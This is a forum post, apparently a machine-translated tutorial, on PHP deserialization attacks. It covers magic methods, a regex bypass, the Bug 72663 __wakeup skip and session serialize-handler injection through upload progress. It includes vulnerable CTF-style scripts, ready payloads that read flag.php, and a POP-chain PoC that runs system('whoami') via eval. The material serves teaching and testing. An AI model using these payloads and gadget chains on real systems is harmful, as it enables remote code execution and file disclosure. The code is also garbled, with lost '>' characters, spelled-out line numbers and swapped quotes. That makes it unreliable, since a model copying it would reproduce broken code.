Jump to content

Title: PHP deserialization vulnerability related

Featured Replies

Posted

反序列化系列

1 定义与原理

1.1 相关概念

Memory data is "fleeting"; usually, the program execution is completed and all of them are destroyed immediately. The data stored by the variable is memory data; the file is "persistent data"

Serialization: It is the process of "save" the variable data in memory to the persistent data in the file. Simplify: turn memory into file

Deserialization: It is the process of serializing the data stored in the file and restoring it to the variable representation of the program code. Simplify: turn files into memory

The fundamental reason for the vulnerability is that the program does not detect the deserialization string input by the user, which causes the deserialization process to be maliciously controlled, resulting in a series of uncontrollable consequences such as code execution and getshell.

1.2 相关函数

serialize(mixed value) : string

unserialize(string $str) : mixed

1.2.1 序列化

20190115093558.png-water_print

The meaning of serialization

20190115093729.png-water_print

1.2.2 反序列化

20190115094638.png-water_print

2 魔术方法 - magic method

__construct(): Automatically call when a class is created

__destruct(): It is called automatically when a class is destroyed

__invoke(): Automatically call when using a class as a function

__tostring(): Automatically call when using a class as a string

__wakeup(): It is called automatically when the unserialize() function is called

__sleep(): It is called automatically when the serialize() function is called

__call(): Automatically call when the method to be called does not exist or the permissions are insufficient

2.1 注意点

\x00 + Class name + \00 + Variable name Deserialized is a private variable

\x00 + * + \x00 + Variable name Deserialized is a protected variable

The deserialization of the direct variable name is a public variable

20190115102902.png-water_print

Add + before the object to bypass the regular

20190115103310.png-water_print

2.2 DEMO

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

twenty one

twenty two

twenty three

twenty four

25

26

27

28

29

30

31

32

33

34

35

36

?php

@error_reporting(1);

class baby

{

public $file;

function __toString()

{

if(isset($this-file))

{

$filename='./{$this-file}';

if (file_get_contents($filename))

{

return file_get_contents($filename);

}

}

}

}

if (isset($_GET['data'])))

{

$data=$_GET['data'];

preg_match('/[oc]:\d+:/i',$data,$matches); //Match O here and then intercept it with the number.

if(count($matches))

{

die('Hacker!');

}

else

{

$good=unserialize($data);

echo $good;

}

}

else

{

highlight_file('./index.php');

}

?

Payload: url?data=O:%2b4:'baby':1:{s:4:'file';s:8:'flag.php';}

3 PHP Bug 72663

3.1 原理

When in a serialized string, if the value representing the number of objects attributes is greater than the number of real attributes, the execution of __wakeup will be skipped

3.2 DEMO

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

twenty one

twenty two

twenty three

twenty four

25

26

?php

class SoFun {

protected $file='index.php';

function __destruct() {

if (!empty($this-file)) {

if (strchr($this-file, '\\')===false strchr($this-file, '/')===false) show_source(dirname(__FILE__) . '/' . $this-file);

else die('Wrong filename.');

}

}

function __wakeup() {

$this-file='index.php';

}

public function __toString() {

return '';

}

}

if (!isset($_GET['file'])) {

show_source('index.php');

} else {

$file=base64_decode($_GET['file']);

echo unserialize($file);

}

?

#!--key in flag.php--

20190115111603.png-water_print

payload: url?file=Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

4 PHP Session 序列化及反序列化

4.1 相关原理

4.1.1 PHP Session 序列化机制

When session_start() is called or session.auto_start is 1 in php.ini, PHP internally calls session manager, and after accessing the user session is serialized, it is stored in the specified directory (default is /tmp).

4.1.2 session 序列化及反序列化处理器

PHP has built-in multiple processors for accessing $_SESSION data. The data will be serialized and deserialized. The following three commonly used ones are corresponding to three different processing formats.

processor

Corresponding storage format

php

Key name + Vertical line + Value processed by serialize() function

php_binary

ASCII characters corresponding to the length of the key name + key name + value processed by the serialize() function

php_serialize (php=5.5.4)

Arrays processed by desequentializing the serialize() function

4.1.3 与 session 存储相关的配置项

The configuration file php.ini contains these configuration items related to session storage:

1

2

3

session.save_path='E:/wamp64/tmp' -- Set the storage path of session, by default in /tmp

session.auto_start=0 -- Specifies whether the session module starts a session at the beginning of the request, default is 0 and does not start

session.serialize_handler=php -- Defines the processor name used to serialize/deserialize. Use php by default

PHP provides the session.serialize_handler configuration option, which allows you to set the processor used for serialization and deserialization, and the default is php. If you want to modify it to another engine, you only need to add the code ini_set('session.serialize_handler', 'Engine that needs to be set'), as follows:

1

2

3

4

?php

ini_set('session.serialize_handler', 'php');

session_start();

$SESSION['a']=$_GET['a'];

The stored file is named after the session_sessionid, and the content of the file is the content after the serialization of the session value. You can see a newly generated session file under the corresponding path of session.save_path, named sess_cj15cikdujk6uv3bdq6qvonbe7, and you can see that the storage format is: key name + vertical line + value processed by the serialize() function: a|s3:'123';

Using the php_serialize processor:

1

2

3

4

?php

ini_set('session.serialize_handler', 'php_serialize');

session_start();

$SESSION['a']=$_GET['a'];

Format: Array processed by desequence of serialize() function: a:1:{s:1:'a';s:'123';}

4.2 PHP session 反序列化漏洞

If PHP uses different processors when deserializing stored $_SESSION data and the processor when serializing, the data cannot be deserialized correctly. Through special construction, any data can even be forged.

Example

When the storage is processed by php_serialize, and then the php processor is used to process it when called. If the injected data at this time is: a=|O:4:'test':0{}, then the content in the session is a:1:{s:1:'a';s:16:'|O:4:'test':0:{}';}, according to the explanation, a:1:{s:1:'a';s:16:' is regarded as a key name after being parsed by php, followed by an injection of an instantiated test object.

When the configuration option session_auto_start=Off , the serialization processors used by the two scripts when registering the Session session are different, security issues will arise.

4.3 DEMO

index.php

1

2

3

4

5

6

7

?php

show_source(__FILE__);

ini_set('session.serialize_handler', 'php');

require('./class.php');

session_start();

$obj=new fool();

$obj-varr='phpinfo.php';

class.php

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

twenty one

twenty two

twenty three

twenty four

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

?php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));

show_source(__FILE__);

class foo1{

public $varr;

function __construct(){

$this-varr='i.php';

}

function __destruct(){

if(file_exists($this-varr)){

echo 'br file'.$this-varr.'exist br';

}

echo 'br This is the destructor of foo1';

}

}

class foo2{

public $varr;

public $obj;

function __construct(){

$this-varr='1234567890';

$this-obj=null;

}

function __toString(){

$this-obj-execute();

return $this-varr;

}

function __desctuct(){

echo 'br This is the destructor of foo2';

}

}

class foo3{

public $varr;

function execute(){

eval($this-varr);

}

function __desctuct(){

echo 'br This is the destructor of foo3';

}

}

?

phpinfo.php

1

2

3

4

5

6

7

8

?php

show_source(__FILE__);

session_start();

require('./class.php');

$f3=new foo3();

$f3-varr='phpinfo();';

$f3-execute();

?

As you can see, index.php uses the php processor.

For the key configuration in php.ini, pay attention to session.serialize_handler in the configuration:

1

2

3

session.serialize_handler=php_serialize

session.upload_progress.cleanup=Off

session.upload_progress.enabled=On

You can visit phpinfo.php to view configuration information:

20190115114733.png-water_print

The default is to use the php processor to process session, session.upload_progress.cleanup is configured as Off, and session.upload_progress.enabled is configured as On.

session.upload_progress.enabled, when it is enabled, PHP can monitor upload progress whenever it is uploaded. When an upload is being processed and POST a variable with the same name as the session.upload_progress.name set in php.ini, the upload progress can be obtained in $_SESSION. When PHP detects such a POST request, it adds a set of data in $_SESSION, the index is the value that session.upload_progress.prefix and session.upload_progress.name.

The current code does not submit data to the server, but session.upload_progress.enabled is now enabled, so you can upload the file to write data in the session file.

In other words, the utilization point is to upload the file through session.upload_progress.enabled to write the content of the php_serialize processor format into the session file, which is different from the php processor in index.php, which in turn causes the existence of the session deserialization vulnerability.

poc.php, used to generate serialized poc, define an instance with $varr value of foo2 in the constructor in foo1, define an instance with $obj as foo3 in foo2, and define a value of $varr in foo3 in foo3, and define a value of $varr as system('whoami');

poc.php

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

twenty one

twenty two

twenty three

twenty four

25

26

?php

class foo3{

public $varr;

function __construct(){

$this-varr='system('whoami');';

}

}

class foo2{

public $varr;

public $obj;

function __construct(){

$this-varr='1';

$this-obj=new foo3();

}

}

class foo1{

public $varr;

function __construct(){

$this-varr=new foo2();

}

}

echo serialize(new foo1());

?

form.html, a form file that submits a POST request to index.php, including the PHP_SESSION_UPLOAD_PROGRESS variable:

1

2

3

4

5

form action='http://127.0.0.1/i.php' method='POST' enctype='multipart/form-data'

input type='hidden' name='PHP_SESSION_UPLOAD_PROGRESS' value='geekby' /

input type='file' name='file' /

input type='submit' /

/form

Burpsuite truncates the POST request sent by the form.html, and adds the value in the PHP_SESSION_UPLOAD_PROGRESS column to the poc generated by poc.php to successfully execute the command:

|O:4:'foo1':1:{s:4:'varr';O:4:'foo2':2:{s:4:'varr';s:1:'varr';s:1:'obj';O:4:'foo3':1:{s:4:'varr';s:19:'system('whoami');';}}}

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.